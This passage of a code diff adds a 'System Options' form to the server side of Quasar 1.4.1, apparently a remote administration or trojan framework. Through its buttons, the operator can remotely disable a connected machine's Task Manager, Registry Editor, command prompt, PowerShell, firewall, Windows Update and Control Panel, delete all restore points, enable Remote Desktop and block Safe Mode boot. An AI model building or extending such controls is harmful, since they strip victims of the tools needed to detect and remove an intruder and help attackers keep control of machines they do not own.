this.groupRegistry.Text = "Registry Editor"; this.groupRegistry.ForeColor = System.Drawing.Color.White; + this.btnEnableRegistry.Location = new System.Drawing.Point(12, 28); this.btnEnableRegistry.Size = new System.Drawing.Size(110, 44); + this.btnEnableRegistry.Text = "Enable"; this.btnEnableRegistry.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableRegistry.BackColor = System.Drawing.Color.Transparent; this.btnEnableRegistry.ForeColor = System.Drawing.Color.White; + this.btnEnableRegistry.UseVisualStyleBackColor = false; this.btnEnableRegistry.Click += new System.EventHandler(this.btnEnableRegistry_Click); + this.btnDisableRegistry.Location = new System.Drawing.Point(132, 28); this.btnDisableRegistry.Size = new System.Drawing.Size(110, 44); + this.btnDisableRegistry.Text = "Disable"; this.btnDisableRegistry.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableRegistry.BackColor = System.Drawing.Color.Transparent; this.btnDisableRegistry.ForeColor = System.Drawing.Color.White; + this.btnDisableRegistry.UseVisualStyleBackColor = false; this.btnDisableRegistry.Click += new System.EventHandler(this.btnDisableRegistry_Click); + // ROW0 COL1 - Task Manager + this.groupTaskMgr.Controls.Add(this.btnEnableTaskMgr); + this.groupTaskMgr.Controls.Add(this.btnDisableTaskMgr); + this.groupTaskMgr.Location = new System.Drawing.Point(284, 12); + this.groupTaskMgr.Size = new System.Drawing.Size(260, 90); + this.groupTaskMgr.TabIndex = 1; this.groupTaskMgr.TabStop = false; + this.groupTaskMgr.Text = "Task Manager"; this.groupTaskMgr.ForeColor = System.Drawing.Color.White; + this.btnEnableTaskMgr.Location = new System.Drawing.Point(12, 28); this.btnEnableTaskMgr.Size = new System.Drawing.Size(110, 44); + this.btnEnableTaskMgr.Text = "Enable"; this.btnEnableTaskMgr.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableTaskMgr.BackColor = System.Drawing.Color.Transparent; this.btnEnableTaskMgr.ForeColor = System.Drawing.Color.White; + this.btnEnableTaskMgr.UseVisualStyleBackColor = false; this.btnEnableTaskMgr.Click += new System.EventHandler(this.btnEnableTaskMgr_Click); + this.btnDisableTaskMgr.Location = new System.Drawing.Point(132, 28); this.btnDisableTaskMgr.Size = new System.Drawing.Size(110, 44); + this.btnDisableTaskMgr.Text = "Disable"; this.btnDisableTaskMgr.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableTaskMgr.BackColor = System.Drawing.Color.Transparent; this.btnDisableTaskMgr.ForeColor = System.Drawing.Color.White; + this.btnDisableTaskMgr.UseVisualStyleBackColor = false; this.btnDisableTaskMgr.Click += new System.EventHandler(this.btnDisableTaskMgr_Click); + // ROW0 COL2 - Command Prompt + this.groupCmd.Controls.Add(this.btnEnableCmd); + this.groupCmd.Controls.Add(this.btnDisableCmd); + this.groupCmd.Location = new System.Drawing.Point(556, 12); + this.groupCmd.Size = new System.Drawing.Size(260, 90); + this.groupCmd.TabIndex = 2; this.groupCmd.TabStop = false; + this.groupCmd.Text = "Command Prompt"; this.groupCmd.ForeColor = System.Drawing.Color.White; + this.btnEnableCmd.Location = new System.Drawing.Point(12, 28); this.btnEnableCmd.Size = new System.Drawing.Size(110, 44); + this.btnEnableCmd.Text = "Enable"; this.btnEnableCmd.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableCmd.BackColor = System.Drawing.Color.Transparent; this.btnEnableCmd.ForeColor = System.Drawing.Color.White; + this.btnEnableCmd.UseVisualStyleBackColor = false; this.btnEnableCmd.Click += new System.EventHandler(this.btnEnableCmd_Click); + this.btnDisableCmd.Location = new System.Drawing.Point(132, 28); this.btnDisableCmd.Size = new System.Drawing.Size(110, 44); + this.btnDisableCmd.Text = "Disable"; this.btnDisableCmd.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableCmd.BackColor = System.Drawing.Color.Transparent; this.btnDisableCmd.ForeColor = System.Drawing.Color.White; + this.btnDisableCmd.UseVisualStyleBackColor = false; this.btnDisableCmd.Click += new System.EventHandler(this.btnDisableCmd_Click); + // ROW1 COL0 - Firewall + this.groupFirewall.Controls.Add(this.btnEnableFirewall); + this.groupFirewall.Controls.Add(this.btnDisableFirewall); + this.groupFirewall.Location = new System.Drawing.Point(12, 114); + this.groupFirewall.Size = new System.Drawing.Size(260, 90); + this.groupFirewall.TabIndex = 3; this.groupFirewall.TabStop = false; + this.groupFirewall.Text = "Firewall"; this.groupFirewall.ForeColor = System.Drawing.Color.White; + this.btnEnableFirewall.Location = new System.Drawing.Point(12, 28); this.btnEnableFirewall.Size = new System.Drawing.Size(110, 44); + this.btnEnableFirewall.Text = "Enable"; this.btnEnableFirewall.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableFirewall.BackColor = System.Drawing.Color.Transparent; this.btnEnableFirewall.ForeColor = System.Drawing.Color.White; + this.btnEnableFirewall.UseVisualStyleBackColor = false; this.btnEnableFirewall.Click += new System.EventHandler(this.btnEnableFirewall_Click); + this.btnDisableFirewall.Location = new System.Drawing.Point(132, 28); this.btnDisableFirewall.Size = new System.Drawing.Size(110, 44); + this.btnDisableFirewall.Text = "Disable"; this.btnDisableFirewall.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableFirewall.BackColor = System.Drawing.Color.Transparent; this.btnDisableFirewall.ForeColor = System.Drawing.Color.White; + this.btnDisableFirewall.UseVisualStyleBackColor = false; this.btnDisableFirewall.Click += new System.EventHandler(this.btnDisableFirewall_Click); + // ROW1 COL1 - Restore Points + this.groupRestorePoints.Controls.Add(this.btnDeleteRestorePoints); + this.groupRestorePoints.Location = new System.Drawing.Point(284, 114); + this.groupRestorePoints.Size = new System.Drawing.Size(260, 90); + this.groupRestorePoints.TabIndex = 4; this.groupRestorePoints.TabStop = false; + this.groupRestorePoints.Text = "Restore Points"; this.groupRestorePoints.ForeColor = System.Drawing.Color.White; + this.btnDeleteRestorePoints.Location = new System.Drawing.Point(12, 28); this.btnDeleteRestorePoints.Size = new System.Drawing.Size(232, 44); + this.btnDeleteRestorePoints.Text = "Delete All"; this.btnDeleteRestorePoints.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDeleteRestorePoints.BackColor = System.Drawing.Color.Transparent; this.btnDeleteRestorePoints.ForeColor = System.Drawing.Color.White; + this.btnDeleteRestorePoints.UseVisualStyleBackColor = false; this.btnDeleteRestorePoints.Click += new System.EventHandler(this.btnDeleteRestorePoints_Click); + // ROW1 COL2 - PowerShell + this.groupPowerShell.Controls.Add(this.btnEnablePowerShell); + this.groupPowerShell.Controls.Add(this.btnDisablePowerShell); + this.groupPowerShell.Location = new System.Drawing.Point(556, 114); + this.groupPowerShell.Size = new System.Drawing.Size(260, 90); + this.groupPowerShell.TabIndex = 5; this.groupPowerShell.TabStop = false; + this.groupPowerShell.Text = "PowerShell"; this.groupPowerShell.ForeColor = System.Drawing.Color.White; + this.btnEnablePowerShell.Location = new System.Drawing.Point(12, 28); this.btnEnablePowerShell.Size = new System.Drawing.Size(110, 44); + this.btnEnablePowerShell.Text = "Enable"; this.btnEnablePowerShell.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnablePowerShell.BackColor = System.Drawing.Color.Transparent; this.btnEnablePowerShell.ForeColor = System.Drawing.Color.White; + this.btnEnablePowerShell.UseVisualStyleBackColor = false; this.btnEnablePowerShell.Click += new System.EventHandler(this.btnEnablePowerShell_Click); + this.btnDisablePowerShell.Location = new System.Drawing.Point(132, 28); this.btnDisablePowerShell.Size = new System.Drawing.Size(110, 44); + this.btnDisablePowerShell.Text = "Disable"; this.btnDisablePowerShell.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisablePowerShell.BackColor = System.Drawing.Color.Transparent; this.btnDisablePowerShell.ForeColor = System.Drawing.Color.White; + this.btnDisablePowerShell.UseVisualStyleBackColor = false; this.btnDisablePowerShell.Click += new System.EventHandler(this.btnDisablePowerShell_Click); + // ROW2 COL0 - PS Script Execution + this.groupPsExec.Controls.Add(this.btnEnablePsExec); + this.groupPsExec.Controls.Add(this.btnDisablePsExec); + this.groupPsExec.Location = new System.Drawing.Point(12, 216); + this.groupPsExec.Size = new System.Drawing.Size(260, 90); + this.groupPsExec.TabIndex = 6; this.groupPsExec.TabStop = false; + this.groupPsExec.Text = "PS Script Execution"; this.groupPsExec.ForeColor = System.Drawing.Color.White; + this.btnEnablePsExec.Location = new System.Drawing.Point(12, 28); this.btnEnablePsExec.Size = new System.Drawing.Size(110, 44); + this.btnEnablePsExec.Text = "Unrestrict"; this.btnEnablePsExec.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnablePsExec.BackColor = System.Drawing.Color.Transparent; this.btnEnablePsExec.ForeColor = System.Drawing.Color.White; + this.btnEnablePsExec.UseVisualStyleBackColor = false; this.btnEnablePsExec.Click += new System.EventHandler(this.btnEnablePsExec_Click); + this.btnDisablePsExec.Location = new System.Drawing.Point(132, 28); this.btnDisablePsExec.Size = new System.Drawing.Size(110, 44); + this.btnDisablePsExec.Text = "Restrict"; this.btnDisablePsExec.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisablePsExec.BackColor = System.Drawing.Color.Transparent; this.btnDisablePsExec.ForeColor = System.Drawing.Color.White; + this.btnDisablePsExec.UseVisualStyleBackColor = false; this.btnDisablePsExec.Click += new System.EventHandler(this.btnDisablePsExec_Click); + // ROW2 COL1 - Windows Update + this.groupWinUpdate.Controls.Add(this.btnEnableWinUpdate); + this.groupWinUpdate.Controls.Add(this.btnDisableWinUpdate); + this.groupWinUpdate.Location = new System.Drawing.Point(284, 216); + this.groupWinUpdate.Size = new System.Drawing.Size(260, 90); + this.groupWinUpdate.TabIndex = 7; this.groupWinUpdate.TabStop = false; + this.groupWinUpdate.Text = "Windows Update"; this.groupWinUpdate.ForeColor = System.Drawing.Color.White; + this.btnEnableWinUpdate.Location = new System.Drawing.Point(12, 28); this.btnEnableWinUpdate.Size = new System.Drawing.Size(110, 44); + this.btnEnableWinUpdate.Text = "Enable"; this.btnEnableWinUpdate.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableWinUpdate.BackColor = System.Drawing.Color.Transparent; this.btnEnableWinUpdate.ForeColor = System.Drawing.Color.White; + this.btnEnableWinUpdate.UseVisualStyleBackColor = false; this.btnEnableWinUpdate.Click += new System.EventHandler(this.btnEnableWinUpdate_Click); + this.btnDisableWinUpdate.Location = new System.Drawing.Point(132, 28); this.btnDisableWinUpdate.Size = new System.Drawing.Size(110, 44); + this.btnDisableWinUpdate.Text = "Disable"; this.btnDisableWinUpdate.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableWinUpdate.BackColor = System.Drawing.Color.Transparent; this.btnDisableWinUpdate.ForeColor = System.Drawing.Color.White; + this.btnDisableWinUpdate.UseVisualStyleBackColor = false; this.btnDisableWinUpdate.Click += new System.EventHandler(this.btnDisableWinUpdate_Click); + // ROW2 COL2 - RDP + this.groupRdp.Controls.Add(this.btnEnableRdp); + this.groupRdp.Controls.Add(this.btnDisableRdp); + this.groupRdp.Location = new System.Drawing.Point(556, 216); + this.groupRdp.Size = new System.Drawing.Size(260, 90); + this.groupRdp.TabIndex = 8; this.groupRdp.TabStop = false; + this.groupRdp.Text = "Remote Desktop (RDP)"; this.groupRdp.ForeColor = System.Drawing.Color.White; + this.btnEnableRdp.Location = new System.Drawing.Point(12, 28); this.btnEnableRdp.Size = new System.Drawing.Size(110, 44); + this.btnEnableRdp.Text = "Enable"; this.btnEnableRdp.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableRdp.BackColor = System.Drawing.Color.Transparent; this.btnEnableRdp.ForeColor = System.Drawing.Color.White; + this.btnEnableRdp.UseVisualStyleBackColor = false; this.btnEnableRdp.Click += new System.EventHandler(this.btnEnableRdp_Click); + this.btnDisableRdp.Location = new System.Drawing.Point(132, 28); this.btnDisableRdp.Size = new System.Drawing.Size(110, 44); + this.btnDisableRdp.Text = "Disable"; this.btnDisableRdp.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableRdp.BackColor = System.Drawing.Color.Transparent; this.btnDisableRdp.ForeColor = System.Drawing.Color.White; + this.btnDisableRdp.UseVisualStyleBackColor = false; this.btnDisableRdp.Click += new System.EventHandler(this.btnDisableRdp_Click); + // ROW3 COL0 - USB Storage + this.groupUsb.Controls.Add(this.btnEnableUsb); + this.groupUsb.Controls.Add(this.btnDisableUsb); + this.groupUsb.Location = new System.Drawing.Point(12, 318); + this.groupUsb.Size = new System.Drawing.Size(260, 90); + this.groupUsb.TabIndex = 9; this.groupUsb.TabStop = false; + this.groupUsb.Text = "USB Storage"; this.groupUsb.ForeColor = System.Drawing.Color.White; + this.btnEnableUsb.Location = new System.Drawing.Point(12, 28); this.btnEnableUsb.Size = new System.Drawing.Size(110, 44); + this.btnEnableUsb.Text = "Enable"; this.btnEnableUsb.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableUsb.BackColor = System.Drawing.Color.Transparent; this.btnEnableUsb.ForeColor = System.Drawing.Color.White; + this.btnEnableUsb.UseVisualStyleBackColor = false; this.btnEnableUsb.Click += new System.EventHandler(this.btnEnableUsb_Click); + this.btnDisableUsb.Location = new System.Drawing.Point(132, 28); this.btnDisableUsb.Size = new System.Drawing.Size(110, 44); + this.btnDisableUsb.Text = "Disable"; this.btnDisableUsb.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableUsb.BackColor = System.Drawing.Color.Transparent; this.btnDisableUsb.ForeColor = System.Drawing.Color.White; + this.btnDisableUsb.UseVisualStyleBackColor = false; this.btnDisableUsb.Click += new System.EventHandler(this.btnDisableUsb_Click); + // ROW3 COL1 - Control Panel + this.groupControlPanel.Controls.Add(this.btnEnableControlPanel); + this.groupControlPanel.Controls.Add(this.btnDisableControlPanel); + this.groupControlPanel.Location = new System.Drawing.Point(284, 318); + this.groupControlPanel.Size = new System.Drawing.Size(260, 90); + this.groupControlPanel.TabIndex = 10; this.groupControlPanel.TabStop = false; + this.groupControlPanel.Text = "Control Panel"; this.groupControlPanel.ForeColor = System.Drawing.Color.White; + this.btnEnableControlPanel.Location = new System.Drawing.Point(12, 28); this.btnEnableControlPanel.Size = new System.Drawing.Size(110, 44); + this.btnEnableControlPanel.Text = "Enable"; this.btnEnableControlPanel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableControlPanel.BackColor = System.Drawing.Color.Transparent; this.btnEnableControlPanel.ForeColor = System.Drawing.Color.White; + this.btnEnableControlPanel.UseVisualStyleBackColor = false; this.btnEnableControlPanel.Click += new System.EventHandler(this.btnEnableControlPanel_Click); + this.btnDisableControlPanel.Location = new System.Drawing.Point(132, 28); this.btnDisableControlPanel.Size = new System.Drawing.Size(110, 44); + this.btnDisableControlPanel.Text = "Disable"; this.btnDisableControlPanel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableControlPanel.BackColor = System.Drawing.Color.Transparent; this.btnDisableControlPanel.ForeColor = System.Drawing.Color.White; + this.btnDisableControlPanel.UseVisualStyleBackColor = false; this.btnDisableControlPanel.Click += new System.EventHandler(this.btnDisableControlPanel_Click); + // ROW3 COL2 - Run Dialog + this.groupRunDialog.Controls.Add(this.btnEnableRunDialog); + this.groupRunDialog.Controls.Add(this.btnDisableRunDialog); + this.groupRunDialog.Location = new System.Drawing.Point(556, 318); + this.groupRunDialog.Size = new System.Drawing.Size(260, 90); + this.groupRunDialog.TabIndex = 11; this.groupRunDialog.TabStop = false; + this.groupRunDialog.Text = "Run Dialog"; this.groupRunDialog.ForeColor = System.Drawing.Color.White; + this.btnEnableRunDialog.Location = new System.Drawing.Point(12, 28); this.btnEnableRunDialog.Size = new System.Drawing.Size(110, 44); + this.btnEnableRunDialog.Text = "Enable"; this.btnEnableRunDialog.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnEnableRunDialog.BackColor = System.Drawing.Color.Transparent; this.btnEnableRunDialog.ForeColor = System.Drawing.Color.White; + this.btnEnableRunDialog.UseVisualStyleBackColor = false; this.btnEnableRunDialog.Click += new System.EventHandler(this.btnEnableRunDialog_Click); + this.btnDisableRunDialog.Location = new System.Drawing.Point(132, 28); this.btnDisableRunDialog.Size = new System.Drawing.Size(110, 44); + this.btnDisableRunDialog.Text = "Disable"; this.btnDisableRunDialog.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDisableRunDialog.BackColor = System.Drawing.Color.Transparent; this.btnDisableRunDialog.ForeColor = System.Drawing.Color.White; + this.btnDisableRunDialog.UseVisualStyleBackColor = false; this.btnDisableRunDialog.Click += new System.EventHandler(this.btnDisableRunDialog_Click); + // ROW4 COL0 - Safe Mode Boot + this.groupSafeMode.Controls.Add(this.btnAllowSafeMode); + this.groupSafeMode.Controls.Add(this.btnBlockSafeMode); + this.groupSafeMode.Location = new System.Drawing.Point(12, 420); + this.groupSafeMode.Size = new System.Drawing.Size(260, 90); + this.groupSafeMode.TabIndex = 12; this.groupSafeMode.TabStop = false; + this.groupSafeMode.Text = "Safe Mode Boot"; this.groupSafeMode.ForeColor = System.Drawing.Color.White; + this.btnAllowSafeMode.Location = new System.Drawing.Point(12, 28); this.btnAllowSafeMode.Size = new System.Drawing.Size(110, 44); + this.btnAllowSafeMode.Text = "Allow"; this.btnAllowSafeMode.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnAllowSafeMode.BackColor = System.Drawing.Color.Transparent; this.btnAllowSafeMode.ForeColor = System.Drawing.Color.White; + this.btnAllowSafeMode.UseVisualStyleBackColor = false; this.btnAllowSafeMode.Click += new System.EventHandler(this.btnAllowSafeMode_Click); + this.btnBlockSafeMode.Location = new System.Drawing.Point(132, 28); this.btnBlockSafeMode.Size = new System.Drawing.Size(110, 44); + this.btnBlockSafeMode.Text = "Block"; this.btnBlockSafeMode.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnBlockSafeMode.BackColor = System.Drawing.Color.Transparent; this.btnBlockSafeMode.ForeColor = System.Drawing.Color.White; + this.btnBlockSafeMode.UseVisualStyleBackColor = false; this.btnBlockSafeMode.Click += new System.EventHandler(this.btnBlockSafeMode_Click); + // Log TextBox + this.txtLog.BackColor = System.Drawing.Color.Black; + this.txtLog.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtLog.ForeColor = System.Drawing.Color.White; + this.txtLog.Location = new System.Drawing.Point(12, 522); + this.txtLog.Multiline = true; this.txtLog.Name = "txtLog"; this.txtLog.ReadOnly = true; + this.txtLog.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtLog.Size = new System.Drawing.Size(804, 160); this.txtLog.TabIndex = 13; + // Form + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(828, 694); + this.Controls.Add(this.txtLog); + this.Controls.Add(this.groupSafeMode); + this.Controls.Add(this.groupRunDialog); + this.Controls.Add(this.groupControlPanel); + this.Controls.Add(this.groupUsb); + this.Controls.Add(this.groupRdp); + this.Controls.Add(this.groupWinUpdate); + this.Controls.Add(this.groupPsExec); + this.Controls.Add(this.groupPowerShell); + this.Controls.Add(this.groupRestorePoints); + this.Controls.Add(this.groupFirewall); + this.Controls.Add(this.groupCmd); + this.Controls.Add(this.groupTaskMgr); + this.Controls.Add(this.groupRegistry); + this.ForeColor = System.Drawing.Color.White; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.Name = "FrmSystemOptions"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "System Options"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmSystemOptions_FormClosing); + this.Load += new System.EventHandler(this.FrmSystemOptions_Load); + this.groupRegistry.ResumeLayout(false); + this.groupTaskMgr.ResumeLayout(false); + this.groupCmd.ResumeLayout(false); + this.groupFirewall.ResumeLayout(false); + this.groupRestorePoints.ResumeLayout(false); + this.groupPowerShell.ResumeLayout(false); + this.groupPsExec.ResumeLayout(false); + this.groupWinUpdate.ResumeLayout(false); + this.groupRdp.ResumeLayout(false); + this.groupUsb.ResumeLayout(false); + this.groupControlPanel.ResumeLayout(false); + this.groupRunDialog.ResumeLayout(false); + this.groupSafeMode.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + } + #endregion + private System.Windows.Forms.GroupBox groupRegistry; + private System.Windows.Forms.GroupBox groupTaskMgr; + private System.Windows.Forms.GroupBox groupCmd; + private System.Windows.Forms.GroupBox groupFirewall; + private System.Windows.Forms.GroupBox groupRestorePoints; + private System.Windows.Forms.GroupBox groupPowerShell; + private System.Windows.Forms.GroupBox groupPsExec; + private System.Windows.Forms.GroupBox groupWinUpdate; + private System.Windows.Forms.GroupBox groupRdp; + private System.Windows.Forms.GroupBox groupUsb; + private System.Windows.Forms.GroupBox groupControlPanel; + private System.Windows.Forms.GroupBox groupRunDialog; + private System.Windows.Forms.GroupBox groupSafeMode; + private System.Windows.Forms.Button btnEnableRegistry; + private System.Windows.Forms.Button btnDisableRegistry; + private System.Windows.Forms.Button btnEnableTaskMgr; + private System.Windows.Forms.Button btnDisableTaskMgr; + private System.Windows.Forms.Button btnEnableCmd; + private System.Windows.Forms.Button btnDisableCmd; + private System.Windows.Forms.Button btnEnableFirewall; + private System.Windows.Forms.Button btnDisableFirewall; + private System.Windows.Forms.Button btnDeleteRestorePoints; + private System.Windows.Forms.Button btnEnablePowerShell; + private System.Windows.Forms.Button btnDisablePowerShell; + private System.Windows.Forms.Button btnEnablePsExec; + private System.Windows.Forms.Button btnDisablePsExec; + private System.Windows.Forms.Button btnEnableWinUpdate; + private System.Windows.Forms.Button btnDisableWinUpdate; + private System.Windows.Forms.Button btnEnableRdp; + private System.Windows.Forms.Button btnDisableRdp; + private System.Windows.Forms.Button btnEnableUsb; + private System.Windows.Forms.Button btnDisableUsb; + private System.Windows.Forms.Button btnEnableControlPanel; + private System.Windows.Forms.Button btnDisableControlPanel; + private System.Windows.Forms.Button btnEnableRunDialog; + private System.Windows.Forms.Button btnDisableRunDialog; + private System.Windows.Forms.Button btnAllowSafeMode; + private System.Windows.Forms.Button btnBlockSafeMode; + private System.Windows.Forms.TextBox txtLog; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.cs new file mode 100755 index 0000000..7a649ba --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.cs @@ -0,0 +1,218 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmSystemOptions : Form + { + private readonly Client _connectClient; + public static FrmSystemOptions Instance { get; private set; } + + public FrmSystemOptions(Client client) + { + _connectClient = client; + Instance = this; + InitializeComponent(); + } + + private void FrmSystemOptions_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"System Options - {_connectClient.Value.Tag}"; + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Connected to {_connectClient.Value.Tag}\r\n"); + } + + private void FrmSystemOptions_FormClosing(object sender, FormClosingEventArgs e) + { + Instance = null; + } + + private void btnEnableRegistry_Click(object sender, EventArgs e) + { + SendOption("REGISTRY", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Registry Editor...\r\n"); + } + + private void btnDisableRegistry_Click(object sender, EventArgs e) + { + SendOption("REGISTRY", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Registry Editor...\r\n"); + } + + private void btnEnableTaskMgr_Click(object sender, EventArgs e) + { + SendOption("TASKMGR", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Task Manager...\r\n"); + } + + private void btnDisableTaskMgr_Click(object sender, EventArgs e) + { + SendOption("TASKMGR", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Task Manager...\r\n"); + } + + private void btnEnableCmd_Click(object sender, EventArgs e) + { + SendOption("CMD", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Command Prompt...\r\n"); + } + + private void btnDisableCmd_Click(object sender, EventArgs e) + { + SendOption("CMD", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Command Prompt...\r\n"); + } + + private void btnEnableFirewall_Click(object sender, EventArgs e) + { + SendOption("FIREWALL", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Firewall...\r\n"); + } + + private void btnDisableFirewall_Click(object sender, EventArgs e) + { + SendOption("FIREWALL", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Firewall...\r\n"); + } + + private void btnDeleteRestorePoints_Click(object sender, EventArgs e) + { + DialogResult result = MessageBox.Show( + "Are you sure you want to delete all restore points? This cannot be undone.", + "Confirm Delete", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result == DialogResult.Yes) + { + SendOption("RESTOREPOINTS", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Deleting Restore Points...\r\n"); + } + } + + private void btnEnablePowerShell_Click(object sender, EventArgs e) + { + SendOption("POWERSHELL", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling PowerShell...\r\n"); + } + + private void btnDisablePowerShell_Click(object sender, EventArgs e) + { + SendOption("POWERSHELL", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling PowerShell...\r\n"); + } + + private void btnEnablePsExec_Click(object sender, EventArgs e) + { + SendOption("PSEXECUTION", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling PS Script Execution...\r\n"); + } + + private void btnDisablePsExec_Click(object sender, EventArgs e) + { + SendOption("PSEXECUTION", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Restricting PS Script Execution...\r\n"); + } + + private void btnEnableWinUpdate_Click(object sender, EventArgs e) + { + SendOption("WINDOWSUPDATE", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Windows Update...\r\n"); + } + + private void btnDisableWinUpdate_Click(object sender, EventArgs e) + { + SendOption("WINDOWSUPDATE", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Windows Update...\r\n"); + } + + private void btnEnableRdp_Click(object sender, EventArgs e) + { + SendOption("RDP", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Remote Desktop...\r\n"); + } + + private void btnDisableRdp_Click(object sender, EventArgs e) + { + SendOption("RDP", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Remote Desktop...\r\n"); + } + + private void btnEnableUsb_Click(object sender, EventArgs e) + { + SendOption("USB", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling USB Storage...\r\n"); + } + + private void btnDisableUsb_Click(object sender, EventArgs e) + { + SendOption("USB", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling USB Storage...\r\n"); + } + + private void btnEnableControlPanel_Click(object sender, EventArgs e) + { + SendOption("CONTROLPANEL", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Control Panel...\r\n"); + } + + private void btnDisableControlPanel_Click(object sender, EventArgs e) + { + SendOption("CONTROLPANEL", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Control Panel...\r\n"); + } + + private void btnEnableRunDialog_Click(object sender, EventArgs e) + { + SendOption("RUNDIALOG", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Run Dialog...\r\n"); + } + + private void btnDisableRunDialog_Click(object sender, EventArgs e) + { + SendOption("RUNDIALOG", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Run Dialog...\r\n"); + } + + private void btnAllowSafeMode_Click(object sender, EventArgs e) + { + SendOption("SAFEMODE", true); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Allowing Safe Mode Boot...\r\n"); + } + + private void btnBlockSafeMode_Click(object sender, EventArgs e) + { + SendOption("SAFEMODE", false); + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Blocking Safe Mode Boot...\r\n"); + } + + private void SendOption(string option, bool enable) + { + _connectClient.Send(new DoSystemOption + { + Option = option, + Enable = enable + }); + } + + public void HandleResponse(Client client, SystemOptionResponse response) + { + if (InvokeRequired) + { + Invoke(new Action(() => HandleResponse(client, response))); + return; + } + + string status = response.Success ? "SUCCESS" : "FAILED"; + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] {status}: {response.Message}\r\n"); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.resx new file mode 100755 index 0000000..d58980a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSystemOptions.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, 